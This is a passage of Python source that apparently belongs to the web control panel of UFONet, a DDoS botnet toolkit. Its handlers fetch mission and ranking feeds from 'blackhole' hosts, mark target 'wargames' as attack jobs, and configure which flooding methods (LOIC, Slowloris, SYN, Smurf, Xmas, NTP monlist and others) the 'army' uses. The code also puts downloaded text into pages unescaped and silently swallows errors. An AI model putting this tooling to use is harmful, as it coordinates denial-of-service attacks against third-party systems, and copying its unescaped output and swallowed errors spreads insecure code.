  2982. f.write(str(wargames))
  2983. f.write(end_mark)
  2984. f.close()
  2985. if page == "/cmd_sync_wargames_update":
  2986. if not os.path.exists('/tmp/out'):
  2987. open('/tmp/out', 'w').close()
  2988. with open('/tmp/out', 'r') as f:
  2989. stream = f.read()
  2990. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  2991. self.pages["/cmd_sync_wargames_update"] = "<pre>"+stream+"<pre>"
  2992. if page == "/cmd_refresh_missions":
  2993. self.pages["/cmd_refresh_missions"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  2994. blackhole_ip = pGet["missions_source"]
  2995. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  2996. try:
  2997. missions = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/missions.txt').read().decode('utf-8')
  2998. f = open(self.missions, "w") # write updates to missions.txt
  2999. f.write(missions)
  3000. f.close()
  3001. self.missions_text = missions
  3002. except:
  3003. missions = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  3004. end_mark = "\n[Info] [AI] End of missions feed. -> [Refreshing!]"
  3005. f = open("/tmp/out", "w")
  3006. f.write(str(missions))
  3007. f.write(end_mark)
  3008. f.close()
  3009. if page == "/cmd_refresh_missions_update":
  3010. if not os.path.exists('/tmp/out'):
  3011. open('/tmp/out', 'w').close()
  3012. with open('/tmp/out', 'r') as f:
  3013. self.pages["/cmd_refresh_missions_update"] = "<pre>"+f.read()+"<pre>"
  3014. if page == "/cmd_refresh_ranking":
  3015. self.pages["/cmd_refresh_ranking"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  3016. ranking_ip = pGet["ranking_source"]
  3017. ranking_ip = urllib.parse.unquote(ranking_ip)
  3018. try:
  3019. ranking = urllib.request.urlopen('http://'+ranking_ip+'/ufonet/grid.txt').read().decode('utf-8')
  3020. f = open(self.grid_file, "w") # write updates to grid.txt
  3021. f.write(ranking)
  3022. f.close()
  3023. self.ranking_text = ranking
  3024. except:
  3025. ranking = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  3026. end_mark = "\n[Info] [AI] End of ranking feed. -> [Refreshing!]"
  3027. f = open("/tmp/out", "w")
  3028. f.write(str(ranking))
  3029. f.write(end_mark)
  3030. f.close()
  3031. if page == "/cmd_refresh_ranking_update":
  3032. if not os.path.exists('/tmp/out'):
  3033. open('/tmp/out', 'w').close()
  3034. with open('/tmp/out', 'r') as f:
  3035. self.pages["/cmd_refresh_ranking_update"] = "<pre>"+f.read()+"<pre>"
  3036. if page == "/cmd_sync_grid":
  3037. self.pages["/cmd_sync_grid"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  3038. blackhole_ip = pGet["grid_source"]
  3039. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  3040. try:
  3041. grid = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/grid.txt').read().decode('utf-8')
  3042. f = open(self.grid_file, "w") # write updates to grid.txt
  3043. f.write(grid)
  3044. f.close()
  3045. self.grid_text = grid
  3046. except:
  3047. grid = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  3048. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  3049. f = open("/tmp/out", "w")
  3050. f.write(str(grid))
  3051. f.write(end_mark)
  3052. f.close()
  3053. if page == "/cmd_sync_grid_update":
  3054. if not os.path.exists('/tmp/out'):
  3055. open('/tmp/out', 'w').close()
  3056. with open('/tmp/out', 'r') as f:
  3057. stream = f.read()
  3058. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  3059. self.pages["/cmd_sync_grid_update"] = "<pre>"+stream+"<pre>"
  3060. if page == "/cmd_job_remove":
  3061. self.pages["/cmd_job_remove"] = "<pre>Removing wargame from your list...</pre>"
  3062. try:
  3063. job_id = pGet["id"]
  3064. except:
  3065. job_id = ""
  3066. if job_id is not "":
  3067. self.list_wargames.reverse()
  3068. try:
  3069. job_task = self.list_wargames[(int(job_id)-1)]
  3070. f = open(self.wargames_file,"r")
  3071. ls = f.readlines()
  3072. f.close()
  3073. f = open(self.wargames_file,"w")
  3074. for l in ls:
  3075. if str(l) != str(job_task):
  3076. f.write(l)
  3077. f.close()
  3078. except:
  3079. pass
  3080. if page == "/cmd_job_remove_update":
  3081. if not os.path.exists('/tmp/out'):
  3082. open('/tmp/out', 'w').close()
  3083. with open('/tmp/out', 'r') as f:
  3084. self.pages["/cmd_job_remove_update"] = "<pre>"+f.read()+"<pre>"
  3085. if page == "/cmd_job_remove_all":
  3086. self.pages["/cmd_job_remove_all"] = "<pre>Purging ALL -CLOSED- wargames from your list...</pre>"
  3087. try:
  3088. key_params = pGet["key"]
  3089. sep = ","
  3090. key = key_params.rsplit(sep, 1)[0]
  3091. except:
  3092. key = ""
  3093. if key is not "":
  3094. try:
  3095. self.list_wargames.reverse()
  3096. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  3097. now = strptime(now, "%d-%m-%Y %H:%M:%S")
  3098. f = open(self.wargames_file,"r")
  3099. ls = f.readlines()
  3100. f.close()
  3101. f = open(self.wargames_file,"w")
  3102. sep = "#-#"
  3103. for l in ls:
  3104. job_estimated = l.rsplit(sep, 1)[1]
  3105. self.decrypt(key, job_estimated)
  3106. if self.decryptedtext:
  3107. job_estimated = self.decryptedtext
  3108. else:
  3109. job_estimated = now
  3110. self.decryptedtext = ""
  3111. job_estimated = strptime(job_estimated, "%d-%m-%Y %H:%M:%S")
  3112. if (now >= job_estimated) == False: # -ONGOING-
  3113. f.write(l)
  3114. f.close()
  3115. except:
  3116. pass
  3117. if page == "/cmd_job_remove_all_update":
  3118. if not os.path.exists('/tmp/out'):
  3119. open('/tmp/out', 'w').close()
  3120. with open('/tmp/out', 'r') as f:
  3121. self.pages["/cmd_job_remove_all_update"] = "<pre>"+f.read()+"<pre>"
  3122. if page == "/cmd_edit_supply":
  3123. self.pages["/cmd_edit_supply"] = "<pre>Changing 'Global Army Supply' configuration...</pre>"
  3124. try:
  3125. supply_botnet = pGet["botnet"]
  3126. supply_loic = pGet["loic"]
  3127. supply_loris = pGet["loris"]
  3128. supply_ufosyn = pGet["ufosyn"]
  3129. supply_spray = pGet["spray"]
  3130. supply_smurf = pGet["smurf"]
  3131. supply_xmas = pGet["xmas"]
  3132. supply_nuke = pGet["nuke"]
  3133. supply_tachyon = pGet["tachyon"]
  3134. supply_monlist = pGet["monlist"]
  3135. except: # default global supply army
  3136. supply_botnet = 1
  3137. supply_loic = 0
  3138. supply_loris = 0
  3139. supply_ufosyn = 0
  3140. supply_spray = 0
  3141. supply_smurf = 0
  3142. supply_xmas = 0
  3143. supply_nuke = 0
  3144. supply_tachyon = 0
  3145. supply_monlist = 0
  3146. with open(self.mothership_supplycfg_file, "w") as f:
  3147. json.dump({"botnet": supply_botnet, "loic": supply_loic, "loris": supply_loris, "ufosyn": supply_ufosyn, "spray": supply_spray, "smurf": supply_smurf, "xmas": supply_xmas, "nuke": supply_nuke, "tachyon": supply_tachyon, "monlist": supply_monlist}, f, indent=4)
  3148. if page == "/cmd_job_add":
  3149. self.pages["/cmd_job_add"] = "<pre>Adding wargame to your list...</pre>"
  3150. try:
  3151. job_params = pGet["id"]
  3152. sep = ","
  3153. job_id = job_params.rsplit(sep, 1)[0]
  3154. except:
  3155. job_id = ""
  3156. if job_id is not "":
  3157. self.list_wargames.reverse()
  3158. try:
  3159. job_task = self.list_wargames[(int(job_id)-1)]
  3160. f = open(self.wargames_file,"r")
  3161. ls = f.readlines()
  3162. f.close()
  3163. f = open(self.wargames_file,"w")
  3164. sep = "#-#"
  3165. for l in ls:
  3166. if str(l) != str(job_task):
  3167. f.write(l)
  3168. else:
  3169. job_t2 = job_task.rsplit(sep, 1)[0]
  3170. job_creation = job_t2.rsplit(sep, 1)[0]
  3171. job_target = job_t2.rsplit(sep, 1)[1]
  3172. job_estimated = job_task.rsplit(sep, 1)[1]
  3173. l = str(job_creation) + "#-#" + str(job_target) + "!!!#-#" + str(job_estimated) # '!!!' target marked as job
  3174. f.write(l)
  3175. f.close()
  3176. except:
  3177. pass
  3178. if page == "/cmd_job_add_update":
  3179. if not os.path.exists('/tmp/out'):
  3180. open('/tmp/out', 'w').close()
  3181. with open('/tmp/out', 'r') as f:
  3182. self.pages["/cmd_job_add_update"] = "<pre>"+f.read()+"<pre>"
  3183. if page == "/cmd_job_add_all":
  3184. self.pages["/cmd_job_add_all"] = "<pre>Engaging ALL -ONGOING- wargames... ;-)</pre>"
  3185. try:
  3186. self.list_wargames.reverse()
  3187. f = open(self.wargames_file,"r")
  3188. ls = f.readlines()
  3189. f.close()
  3190. f = open(self.wargames_file,"w")
  3191. sep = "#-#"
  3192. for l in ls:
  3193. job_t2 = l.rsplit(sep, 1)[0]
  3194. job_creation = job_t2.rsplit(sep, 1)[0]
  3195. job_target = job_t2.rsplit(sep, 1)[1]
  3196. job_estimated = l.rsplit(sep, 1)[1]
  3197. if not "!!!" in job_target:
  3198. l = str(job_creation) + "#-#" + str(job_target) + "!!!#-#" + str(job_estimated)
  3199. else:
  3200. l = str(job_creation) + "#-#" + str(job_target) + "#-#" + str(job_estimated)
  3201. f.write(l)
  3202. f.close()
  3203. except:
  3204. pass
  3205. if page == "/cmd_job_add_all_update":
  3206. if not os.path.exists('/tmp/out'):
  3207. open('/tmp/out', 'w').close()
  3208. with open('/tmp/out', 'r') as f:
  3209. self.pages["/cmd_job_add_all_update"] = "<pre>"+f.read()+"<pre>"
  3210. if page == "/cmd_job_cancel":
  3211. self.pages["/cmd_job_cancel"] = "<pre>Canceling wargame from your list...</pre>"
  3212. try:
  3213. job_params = pGet["id"]
  3214. sep = ","
  3215. job_id = job_params.rsplit(sep, 1)[0]
  3216. except:
  3217. job_id = ""
  3218. if job_id is not "":
  3219. self.list_wargames.reverse()
  3220. try:
  3221. job_task = self.list_wargames[(int(job_id)-1)]
  3222. f = open(self.wargames_file,"r")
  3223. ls = f.readlines()
  3224. f.close()
  3225. f = open(self.wargames_file,"w")
  3226. for l in ls:
  3227. if str(l) != str(job_task):
  3228. f.write(l)
  3229. else:
  3230. sep = "#-#"
  3231. job_t2 = job_task.rsplit(sep, 1)[0]
  3232. job_creation = job_t2.rsplit(sep, 1)[0]
  3233. job_target = job_t2.rsplit(sep, 1)[1]
  3234. job_target = job_target.replace("!!!","") # undo target marked as job (unjob)
  3235. job_estimated = job_task.rsplit(sep, 1)[1]
  3236. l = str(job_creation) + "#-#" + str(job_target) + "#-#" + str(job_estimated)
  3237. f.write(l)
  3238. f.close()
  3239. except:
  3240. pass
  3241. if page == "/cmd_job_cancel_update":
  3242. if not os.path.exists('/tmp/out'):
  3243. open('/tmp/out', 'w').close()
  3244. with open('/tmp/out', 'r') as f:
  3245. self.pages["/cmd_job_cancel_update"] = "<pre>"+f.read()+"<pre>"
  3246. if page == "/cmd_job_cancel_all":
  3247. self.pages["/cmd_job_cancel_all"] = "<pre>Canceling ALL -JOINED- wargames from your list...</pre>"
  3248. try:
  3249. self.list_wargames.reverse()
  3250. f = open(self.wargames_file,"r")
  3251. ls = f.readlines()
  3252. f.close()
  3253. f = open(self.wargames_file,"w")
  3254. sep = "#-#"
  3255. for l in ls:
  3256. job_t2 = l.rsplit(sep, 1)[0]
  3257. job_creation = job_t2.rsplit(sep, 1)[0]
  3258. job_target = job_t2.rsplit(sep, 1)[1]
  3259. job_target = job_target.replace("!!!","") # undo target marked as job (unjob)
  3260. job_estimated = l.rsplit(sep, 1)[1]
  3261. l = str(job_creation) + "#-#" + str(job_target) + "#-#" + str(job_estimated)
  3262. f.write(l)
  3263. f.close()
  3264. except:
  3265. pass
  3266. if page == "/cmd_job_cancel_all_update":
  3267. if not os.path.exists('/tmp/out'):
  3268. open('/tmp/out', 'w').close()
  3269. with open('/tmp/out', 'r') as f:
  3270. self.pages["/cmd_job_cancel_all_update"] = "<pre>"+f.read()+"<pre>"
  3271. if page == "/cmd_job_filter":
  3272. try:
  3273. job_filter = pGet["filter"]
  3274. job_key = pGet["key"]
  3275. except:
  3276. job_filter = "creation"
  3277. job_key = str(self.crypto_key)
  3278. self.pages["/cmd_job_filter"] = "<pre>Ordering wargames by: "+job_filter+"</pre>"
  3279. nodec_text = "KEY?"
  3280. try:
  3281. wargames_items=[]
  3282. with open(self.wargames_file) as f:
  3283. ls = f.read().splitlines()
  3284. f.close()
  3285. f = open(self.wargames_file,"w")
  3286. for j in ls:
  3287. if wargames_msg_sep in j:
  3288. m = j.split(wargames_msg_sep)
  3289. wargames_creation = m[0] # creation date
  3290. self.decrypt(job_key, wargames_creation)
  3291. if self.decryptedtext:
  3292. wargames_creation = self.decryptedtext
  3293. else:
  3294. wargames_creation = nodec_text
  3295. self.decryptedtext = "" # clean decryptedtext buffer
  3296. wargames_target = m[1] # target
  3297. self.decrypt(job_key, wargames_target)
  3298. if self.decryptedtext:
  3299. wargames_target = self.decryptedtext
  3300. if wargames_target.startswith("www."):
  3301. wargames_target = wargames_target.replace("www.","")
  3302. else:
  3303. wargames_target = nodec_text
  3304. self.decryptedtext = "" # clean decryptedtext buffer
  3305. wargames_estimated = m[2] # estimated date
  3306. self.decrypt(job_key, wargames_estimated)
  3307. if self.decryptedtext:
  3308. wargames_estimated = self.decryptedtext
  3309. else:
  3310. wargames_estimated = nodec_text
  3311. self.decryptedtext = "" # clean decryptedtext buffer
  3312. wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S")
  3313. wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S")
  3314. wargames_items.append([wargames_creation,wargames_target,wargames_estimated])
  3315. if job_filter == "creation":
  3316. wargames_items=sorted(wargames_items,key=lambda x:x[0]) # sorted by creation
  3317. elif job_filter == "target":
  3318. wargames_items=sorted(wargames_items,key=lambda x:x[1]) # sorted by target
  3319. elif job_filter == "estimated":
  3320. wargames_items=sorted(wargames_items,key=lambda x:x[2]) # sorted by estimated
  3321. else:
  3322. wargames_items=sorted(wargames_items,key=lambda x:x[0]) # sorted by creation
  3323. for i in wargames_items:
  3324. wargames_creation = i[0]
  3325. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  3326. self.encrypt(job_key, wargames_creation)
  3327. if self.encryptedtext:
  3328. wargames_creation = self.encryptedtext
  3329. self.encryptedtext = "" # clean encryptedtext buffer
  3330. wargames_target = str(i[1])
  3331. self.encrypt(job_key, wargames_target)
  3332. if self.encryptedtext:
  3333. wargames_target = self.encryptedtext
  3334. self.encryptedtext = "" # clean encryptedtext buffer
  3335. wargames_estimated = i[2]
  3336. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  3337. self.encrypt(job_key, wargames_estimated)
  3338. if self.encryptedtext:
  3339. wargames_estimated = self.encryptedtext
  3340. self.encryptedtext = "" # clean encryptedtext buffer
  3341. l = str(wargames_creation) + "#-#" + str(wargames_target) + "#-#" + str(wargames_estimated)
  3342. f.write(l + os.linesep)
  3343. f.close()
  3344. except:
  3345. pass
  3346. if page == "/cmd_job_filter_update":
  3347. if not os.path.exists('/tmp/out'):
  3348. open('/tmp/out', 'w').close()
  3349. with open('/tmp/out', 'r') as f:
  3350. self.pages["/cmd_job_filter_update"] = "<pre>"+f.read()+"<pre>"
  3351. if page == "/cmd_grid_filter":
  3352. try:
  3353. grid_filter = pGet["filter"]
  3354. grid_key = pGet["key"]
  3355. except:
  3356. grid_filter = "missions" # default grid order by
  3357. grid_key = str(self.crypto_key)
  3358. self.pages["/cmd_grid_filter"] = "<pre>Ordering grid by: "+grid_filter+"</pre>"
  3359. nodec_text = "KEY?"
  3360. nodec_num = 0
  3361. try:
  3362. grid_items=[]
  3363. with open(self.grid_file) as f:
  3364. ls = f.read().splitlines()
  3365. f.close()
  3366. f = open(self.grid_file,"w")
  3367. for j in ls:
  3368. if grid_msg_sep in j:
  3369. version = j.count(grid_msg_sep) # check UFONet stream version (10->0.9|11->1.0|12->1.1|13->1.2)
  3370. m = j.split(grid_msg_sep)
  3371. grid_nickname = m[0] # nickname
  3372. self.decrypt(grid_key, grid_nickname)
  3373. if self.decryptedtext:
  3374. grid_nickname = str(self.decryptedtext)
  3375. else:
  3376. grid_nickname = nodec_text
  3377. self.decryptedtext = "" # clean decryptedtext buffer
  3378. grid_ranking = m[1] # ranking
  3379. self.decrypt(grid_key, grid_ranking)
  3380. if self.decryptedtext:
  3381. try:
  3382. grid_ranking = int(self.decryptedtext)
  3383. except:
  3384. grid_ranking = nodec_num
  3385. else:
  3386. grid_ranking = nodec_num
  3387. self.decryptedtext = "" # clean decryptedtext buffer
  3388. grid_totalchargo = m[2] # total chargo
  3389. self.decrypt(grid_key, grid_totalchargo)
  3390. if self.decryptedtext:
  3391. try:
  3392. grid_totalchargo = int(self.decryptedtext)
  3393. except:
  3394. grid_totalchargo = nodec_num
  3395. else:
  3396. grid_totalchargo = nodec_num
  3397. self.decryptedtext = "" # clean decryptedtext buffer
  3398. grid_dorking = m[3] # dorking
  3399. self.decrypt(grid_key, grid_dorking)
  3400. if self.decryptedtext:
  3401. try:
  3402. grid_dorking = int(self.decryptedtext)
  3403. except:
  3404. grid_dorking = nodec_num
  3405. else:
  3406. grid_dorking = nodec_num
  3407. self.decryptedtext = "" # clean decryptedtext buffer
  3408. grid_transferred = m[4] # transferred
  3409. self.decrypt(grid_key, grid_transferred)
  3410. if self.decryptedtext:
  3411. try:
  3412. grid_transferred = int(self.decryptedtext)
  3413. except:
  3414. grid_transferred = nodec_num
  3415. else:
  3416. grid_transferred = nodec_num
  3417. self.decryptedtext = "" # clean decryptedtext buffer
  3418. grid_maxchargo = m[5] # maxchargo
  3419. self.decrypt(grid_key, grid_maxchargo)
  3420. if self.decryptedtext:
  3421. try:
  3422. grid_maxchargo = int(self.decryptedtext)
  3423. except:
  3424. grid_maxchargo = nodec_num
  3425. else:
  3426. grid_maxchargo = nodec_num
  3427. self.decryptedtext = "" # clean decryptedtext buffer
  3428. grid_missions = m[6] # missions
  3429. self.decrypt(grid_key, grid_missions)
  3430. if self.decryptedtext:
  3431. try:
  3432. grid_missions = int(self.decryptedtext)
  3433. except:
  3434. grid_missions = nodec_num
  3435. else:
  3436. grid_missions = nodec_num
  3437. self.decryptedtext = "" # clean decryptedtext buffer
  3438. grid_attacks = m[7] # attacks
  3439. self.decrypt(grid_key, grid_attacks)
  3440. if self.decryptedtext:
  3441. try:
  3442. grid_attacks = int(self.decryptedtext)
  3443. except:
  3444. grid_attacks = nodec_num
  3445. else:
  3446. grid_attacks = nodec_num
  3447. self.decryptedtext = "" # clean decryptedtext buffer
  3448. grid_loic = m[8] # loic
  3449. self.decrypt(grid_key, grid_loic)
  3450. if self.decryptedtext:
  3451. try:
  3452. grid_loic = int(self.decryptedtext)
  3453. except:
  3454. grid_loic = nodec_num
  3455. else:
  3456. grid_loic = nodec_num
  3457. if version > 17 or version == 17 or version == 16 or version == 15 or version == 12 or version == 11:
  3458. grid_loris = m[9] # loris
  3459. self.decrypt(grid_key, grid_loris)
  3460. if self.decryptedtext:
  3461. try:
  3462. grid_loris = int(self.decryptedtext)
  3463. except:
  3464. grid_loris = nodec_num
  3465. else:
  3466. grid_loris = nodec_num
  3467. self.decryptedtext = "" # clean decryptedtext buffer
  3468. else:
  3469. grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not loris present
  3470. self.decrypt(grid_key, grid_loris)
  3471. if self.decryptedtext:
  3472. try:
  3473. grid_loris = int(self.decryptedtext)
  3474. except:
  3475. grid_loris = nodec_num
  3476. else:
  3477. grid_loris = nodec_num
  3478. self.decryptedtext = "" # clean decryptedtext buffer
  3479. if version > 17 or version == 17 or version == 16 or version == 15 or version == 12:
  3480. grid_ufosyn = m[10] # ufosyn
  3481. self.decrypt(grid_key, grid_ufosyn)
  3482. if self.decryptedtext:
  3483. try:
  3484. grid_ufosyn = int(self.decryptedtext)
  3485. except:
  3486. grid_ufosyn = nodec_num
  3487. else:
  3488. grid_ufosyn = nodec_num
  3489. self.decryptedtext = "" # clean decryptedtext buffer
  3490. else:
  3491. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufosyn present
  3492. self.decrypt(grid_key, grid_ufosyn)
  3493. if self.decryptedtext:
  3494. try:
  3495. grid_ufosyn = int(self.decryptedtext)
  3496. except:
  3497. grid_ufosyn = nodec_num
  3498. else:
  3499. grid_ufosyn = nodec_num
  3500. self.decryptedtext = "" # clean decryptedtext buffer
  3501. if version > 17 or version == 17 or version == 16 or version == 15:
  3502. grid_spray = m[11] # spray
  3503. self.decrypt(grid_key, grid_spray)
  3504. if self.decryptedtext:
  3505. try:
  3506. grid_spray = int(self.decryptedtext)
  3507. except:
  3508. grid_spray = nodec_num
  3509. else:
  3510. grid_spray = nodec_num
  3511. self.decryptedtext = "" # clean decryptedtext buffer
  3512. else:
  3513. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not spray present
  3514. self.decrypt(grid_key, grid_spray)
  3515. if self.decryptedtext:
  3516. try:
  3517. grid_spray = int(self.decryptedtext)
  3518. except:
  3519. grid_spray = nodec_num
  3520. else:
  3521. grid_spray = nodec_num
  3522. self.decryptedtext = "" # clean decryptedtext buffer
  3523. if version > 17 or version == 17 or version == 16 or version == 15:
  3524. grid_smurf = m[12] # smurf
  3525. self.decrypt(grid_key, grid_smurf)
  3526. if self.decryptedtext:
  3527. try:
  3528. grid_smurf = int(self.decryptedtext)
  3529. except:
  3530. grid_smurf = nodec_num
  3531. else:
  3532. grid_smurf = nodec_num
  3533. self.decryptedtext = "" # clean decryptedtext buffer
  3534. else:
  3535. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not smurf present
  3536. self.decrypt(grid_key, grid_smurf)
  3537. if self.decryptedtext:
  3538. try:
  3539. grid_smurf = int(self.decryptedtext)
  3540. except:
  3541. grid_smurf = nodec_num
  3542. else:
  3543. grid_smurf = nodec_num
  3544. self.decryptedtext = "" # clean decryptedtext buffer
  3545. if version > 17 or version == 17 or version == 16 or version == 15:
  3546. grid_xmas = m[13] # xmas
  3547. self.decrypt(grid_key, grid_xmas)
  3548. if self.decryptedtext:
  3549. try:
  3550. grid_xmas = int(self.decryptedtext)
  3551. except:
  3552. grid_xmas = nodec_num
  3553. else:
  3554. grid_xmas = nodec_num
  3555. self.decryptedtext = "" # clean decryptedtext buffer
  3556. else:
  3557. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not xmas present
  3558. self.decrypt(grid_key, grid_xmas)
  3559. if self.decryptedtext:
  3560. try:
  3561. grid_xmas = int(self.decryptedtext)
  3562. except:
  3563. grid_xmas = nodec_num
  3564. else:
  3565. grid_xmas = nodec_num
  3566. self.decryptedtext = "" # clean decryptedtext buffer
  3567. if version > 17 or version == 17 or version == 16:
  3568. grid_nuke = m[14] # nuke
  3569. self.decrypt(grid_key, grid_nuke)
  3570. if self.decryptedtext:
  3571. try:
  3572. grid_nuke = int(self.decryptedtext)
  3573. except:
  3574. grid_nuke = nodec_num
  3575. else:
  3576. grid_nuke = nodec_num
  3577. self.decryptedtext = "" # clean decryptedtext buffer
  3578. else:
  3579. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not nuke present
  3580. self.decrypt(grid_key, grid_nuke)
  3581. if self.decryptedtext:
  3582. try:
  3583. grid_nuke = int(self.decryptedtext)
  3584. except:
  3585. grid_nuke = nodec_num
  3586. else:
  3587. grid_nuke = nodec_num
  3588. self.decryptedtext = "" # clean decryptedtext buffer
  3589. if version > 17 or version == 17:
  3590. grid_tachyon = m[15] # tachyon
  3591. self.decrypt(grid_key, grid_tachyon)
  3592. if self.decryptedtext:
  3593. try:
  3594. grid_tachyon = int(self.decryptedtext)
  3595. except:
  3596. grid_tachyon = nodec_num
  3597. else:
  3598. grid_tachyon = nodec_num
  3599. self.decryptedtext = "" # clean decryptedtext buffer
  3600. else:
  3601. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not tachyon present
  3602. self.decrypt(grid_key, grid_tachyon)
  3603. if self.decryptedtext:
  3604. try:
  3605. grid_tachyon = int(self.decryptedtext)
  3606. except:
  3607. grid_tachyon = nodec_num
  3608. else:
  3609. grid_tachyon = nodec_num
  3610. self.decryptedtext = "" # clean decryptedtext buffer
  3611. if version > 17:
  3612. grid_monlist = m[16] # monlist
  3613. self.decrypt(grid_key, grid_monlist)
  3614. if self.decryptedtext:
  3615. try:
  3616. grid_monlist = int(self.decryptedtext)
  3617. except:
  3618. grid_monlist = nodec_num
  3619. else:
  3620. grid_monlist = nodec_num
  3621. self.decryptedtext = "" # clean decryptedtext buffer
  3622. else:
  3623. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not monlist present
  3624. self.decrypt(grid_key, grid_monlist)
  3625. if self.decryptedtext:
  3626. try:
  3627. grid_monlist = int(self.decryptedtext)
  3628. except:
  3629. grid_monlist = nodec_num
  3630. else:
  3631. grid_monlist = nodec_num
  3632. self.decryptedtext = "" # clean decryptedtext buffer
  3633. if version > 17:
  3634. grid_contact = m[17] # contact
  3635. self.decrypt(grid_key, grid_contact)
  3636. if self.decryptedtext:
  3637. grid_contact = self.decryptedtext
  3638. else:
  3639. grid_contact = nodec_text
  3640. self.decryptedtext = "" # clean decryptedtext buffer
  3641. grid_id = m[18] # id
  3642. elif version == 17:
  3643. grid_contact = m[16] # contact
  3644. self.decrypt(grid_key, grid_contact)
  3645. if self.decryptedtext:
  3646. grid_contact = self.decryptedtext
  3647. else:
  3648. grid_contact = nodec_text
  3649. self.decryptedtext = "" # clean decryptedtext buffer
  3650. grid_id = m[17] # id
  3651. elif version == 16:
  3652. grid_contact = m[15] # contact
  3653. self.decrypt(grid_key, grid_contact)
  3654. if self.decryptedtext:
  3655. grid_contact = self.decryptedtext
  3656. else:
  3657. grid_contact = nodec_text
  3658. self.decryptedtext = "" # clean decryptedtext buffer
  3659. grid_id = m[16] # id
  3660. elif version == 15:
  3661. grid_contact = m[14] # contact
  3662. self.decrypt(grid_key, grid_contact)
  3663. if self.decryptedtext:
  3664. grid_contact = self.decryptedtext
  3665. else:
  3666. grid_contact = nodec_text
  3667. self.decryptedtext = "" # clean decryptedtext buffer
  3668. grid_id = m[15] # id
  3669. elif version == 12:
  3670. grid_contact = m[11] # contact
  3671. self.decrypt(grid_key, grid_contact)
  3672. if self.decryptedtext:
  3673. grid_contact = self.decryptedtext
  3674. else:
  3675. grid_contact = nodec_text
  3676. self.decryptedtext = "" # clean decryptedtext buffer
  3677. grid_id = m[12] # id
  3678. elif version == 11:
  3679. grid_contact = m[10] # contact
  3680. self.decrypt(grid_key, grid_contact)
  3681. if self.decryptedtext:
  3682. grid_contact = self.decryptedtext
  3683. else:
  3684. grid_contact = nodec_text
  3685. self.decryptedtext = "" # clean decryptedtext buffer
  3686. grid_id = m[11] # id
  3687. elif version == 10:
  3688. grid_contact = m[9] # contact
  3689. self.decrypt(grid_key, grid_contact)
  3690. if self.decryptedtext:
  3691. grid_contact = self.decryptedtext
  3692. else:
  3693. grid_contact = nodec_text
  3694. self.decryptedtext = "" # clean decryptedtext buffer
  3695. grid_id = m[10] # id
  3696. else:
  3697. grid_contact = nodec_text
  3698. grid_id = '6666666666666666666666666666666666666' # fake id
  3699. grid_items.append([str(grid_nickname),int(grid_ranking),int(grid_totalchargo),int(grid_dorking),int(grid_transferred),int(grid_maxchargo),int(grid_missions),int(grid_attacks),int(grid_loic),int(grid_loris),int(grid_ufosyn),int(grid_spray),int(grid_smurf),int(grid_xmas),int(grid_nuke),int(grid_tachyon),int(grid_monlist),str(grid_contact),str(grid_id)])
  3700. if grid_filter == "nickname":
  3701. grid_items=sorted(grid_items,key=lambda x:x[0]) # sorted by nickname
  3702. elif grid_filter == "ranking":
  3703. grid_items=sorted(grid_items,key=lambda x:x[1]) # sorted by ranking
  3704. elif grid_filter == "chargo":
  3705. grid_items=sorted(grid_items,key=lambda x:x[2]) # sorted by totalchargo
  3706. elif grid_filter == "dorking":
  3707. grid_items=sorted(grid_items,key=lambda x:x[3]) # sorted by dorking
  3708. elif grid_filter == "transferred":
  3709. grid_items=sorted(grid_items,key=lambda x:x[4]) # sorted by transferred
  3710. elif grid_filter == "maxchargo":
  3711. grid_items=sorted(grid_items,key=lambda x:x[5]) # sorted by maxchargo
  3712. elif grid_filter == "missions":
  3713. grid_items=sorted(grid_items,key=lambda x:x[6]) # sorted by missions
  3714. elif grid_filter == "attacks":
  3715. grid_items=sorted(grid_items,key=lambda x:x[7]) # sorted by attacks
  3716. elif grid_filter == "loic":
  3717. grid_items=sorted(grid_items,key=lambda x:x[8]) # sorted by loic
  3718. elif grid_filter == "loris":
  3719. grid_items=sorted(grid_items,key=lambda x:x[9]) # sorted by loris
  3720. elif grid_filter == "ufosyn":
  3721. grid_items=sorted(grid_items,key=lambda x:x[10]) # sorted by ufosyn
  3722. elif grid_filter == "spray":
  3723. grid_items=sorted(grid_items,key=lambda x:x[11]) # sorted by spray
  3724. elif grid_filter == "smurf":
  3725. grid_items=sorted(grid_items,key=lambda x:x[12]) # sorted by smurf
  3726. elif grid_filter == "xmas":
  3727. grid_items=sorted(grid_items,key=lambda x:x[13]) # sorted by xmas
